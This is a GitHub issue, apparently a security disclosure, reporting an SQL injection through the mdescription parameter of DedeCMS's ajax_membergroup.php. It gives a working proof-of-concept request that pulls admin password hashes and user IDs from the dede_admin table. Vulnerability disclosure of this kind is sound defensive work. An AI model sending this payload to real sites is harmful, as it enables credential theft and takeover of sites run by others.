Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ajax_membergroup.php mdescription SQL inject #1

Open
blindkey opened this issue Feb 17, 2020 · 0 comments
Open

ajax_membergroup.php mdescription SQL inject #1

blindkey opened this issue Feb 17, 2020 · 0 comments

Comments

@blindkey
Copy link
Owner

https://github.com/dedetech/DedeCMSv5/blob/master/src/member/ajax_membergroup.php

image

line 53 indicate that we can control mdescription variables .

because there is no fillter fro var mdescription. so we can acheive a sql injection in that .

like poc:

GET /ccpAdvert/member/ajax_membergroup.php?action=despost&mdescription=1',description%3D@',description%3D(select%20concat(pwd,0x23416e6f6e796d6f757323,userid)%20from%20dede_admin)%23 HTTP/1.1%0d%0aHost: x.x.x.x%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko%0d%0aContent-Type: %0d%0a%0d%0a

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant